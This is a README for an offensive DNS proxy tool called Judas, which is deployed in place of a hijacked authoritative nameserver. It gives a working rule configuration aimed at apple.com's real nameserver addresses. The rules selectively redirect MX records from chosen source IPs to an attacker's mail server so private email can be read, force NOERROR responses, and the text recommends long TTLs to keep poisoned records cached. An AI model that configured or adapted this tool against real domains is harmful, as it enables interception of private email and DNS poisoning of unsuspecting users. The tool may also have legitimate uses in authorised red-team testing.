,,                                                        
   `7MMF'               `7MM                       `7MM"""Yb. `7MN.   `7MF'.M"""bgd 
     MM                   MM                         MM    `Yb. MMN.    M ,MI    "Y 
     MM `7MM  `7MM   ,M""bMM   ,6"Yb.  ,pP"Ybd       MM     `Mb M YMb   M `MMb.     
     MM   MM    MM ,AP    MM  8)   MM  8I   `"       MM      MM M  `MN. M   `YMMNq. 
     MM   MM    MM 8MI    MM   ,pm9MM  `YMMMa.       MM     ,MP M   `MM.M .     `MM 
(O)  MM   MM    MM `Mb    MM  8M   MM  L.   I8       MM    ,dP' M     YMM Mb     dM 
 Ymmm9    `Mbod"YML.`Wbmd"MML.`Moo9^Yo.M9mmmP'     .JMMmmmdP' .JML.    YM P"Ybmmd"  

                                         Nameserver DNS poisoning attacks made easy

A DNS proxy server built to be deployed in place of a taken over nameserver to perform targeted exploitation. Judas works by proxying all DNS queries to the legitimate nameservers for a domain. The magic comes with Judas's rule configurations which allow you to change DNS responses depending on source IP or DNS query type. This allows an attacker to configure a malicious nameserver to do things like selectively re-route inbound email coming from specified source IP ranges (via modified MX records), set extremely long TTLs to keep poisoned records cached, and more.

The following is an example configuration for Judas for an example scenario where an attacker has comprimised/taken over one of Apple's authoritative nameservers (for apple.com):

{
    "version": "1.0.0",
    "port": 2248,
    "dns_query_timeout": 10000,
    "target_nameservers": [ "17.254.0.59", "17.254.0.50", "17.112.144.50", "17.112.144.59", "17.171.63.30", "17.171.63.40", "17.151.0.151", "17.151.0.152" ],
    "rules": [
        {
            "name": "Secretly redirect all emails coming from 127.0.0.1!",
            "query_type_matches": [ "MX" ],
            "ip_range_matches": [ "127.0.0.1/32" ],
            "modifications": [
                {
                    "answer": [
                        {
                            "name": "apple.com",
                            "type": 15,
                            "class": 1,
                            "ttl": 10,
                            "priority": 10,
                            "exchange": "hacktheplace.localhost"
                        }
                    ]
                }
            ]
        },
        {
            "name": "Make all responses NOERROR even if they've failed.",
            "query_type_matches": [ "*" ],
            "modifications": [
                {
                    "header": {
                        "rcode": 0
                    }
                }
            ]
        }
    ]
}

The above configuration value purposes are the following:

• version: The configuration file format version (for now is always 1.0.0).
• port: The port Judas should run on.
• dns_query_timeout: How long to wait in milliseconds before giving up on a reply from the upstream target nameserver.
• target_nameservers: The legit nameservers for your target domain, all DNS queries will be sent here from Judas on behalf of all requesting clients.
• rules: A list of rules with modifications to the DNS response to apply if matched.
  • name: Name of a given rule.
  • query_type_matches: List of query types to match on such as CNAME, A, etc. A wildcard (*) can also be specified to match any query type.
  • ip_range_matches: List of IP ranges to match on. For selectively spoofing responses to a specific range of IPs.
  • modifications: See the "Modifications" section of this README.

Judas's rules come with a modifications specification which is set to a list of varying modifications to make to the DNS response before it is sent back to the client. It is important that you read the node-dns documentation to understand the DNS response structure so you can modify it.

An example DNS response format is the following:

{ header: 
   { id: 25373,
     qr: 1,
     opcode: 0,
     aa: 1,
     tc: 0,
     rd: 1,
     ra: 0,
     res1: 0,
     res2: 0,
     res3: 0,
     rcode: 5 },
  question: [ { name: 'apple.com', type: 2, class: 1 } ],
  answer: 
   [ { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'nserver2.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'nserver4.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'nserver.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'nserver3.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'nserver5.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'nserver6.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'adns2.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'adns1.apple.com' } ],
  authority: [],
  additional: [],
  edns_options: [],
  payload: undefined,
  address: undefined,
...trimmed for brevity...

(For more information on the DNS response data structure see this documentation.)

Writing a modification is very simple, an example rule with modification can be seen below:

{
  "name": "Make all responses NOERROR even if they've failed.",
  "query_type_matches": [ "*" ],
  "modifications": [
    {
      "header": {
        "rcode": 0
      }
    }
  ]
}

The above rule matches any query type (due to the wildcard (*)) and sets the header.rcode value of the DNS response to 0. Whatever object is set as a modification element is merged into the DNS response - replacing whatever value was originally set.

Another example is the following:

{
  "name": "Secretly redirect all emails coming from 127.0.0.1!",
  "query_type_matches": [ "MX" ],
  "ip_range_matches": [ "127.0.0.1/32" ],
  "modifications": [
    {
      "answer": [
        {
          "name": "apple.com",
          "type": 15,
          "class": 1,
          "ttl": 10,
          "priority": 10,
          "exchange": "hacktheplace.localhost"
        }
      ]
    }
  ]
}

The above rule matches any MX query from 127.0.0.1. The DNS response's answer is overwritten with a single MX record for hacktheplace.localhost. A real world implementation of this would be to redirect inbound emails from a specific IP in order to read private emails of your target. Additionally an attacker in a real world scenario may also choose to modify the response TTL to be a very high value in order to persist their malicious records in client DNS caches as long as possible.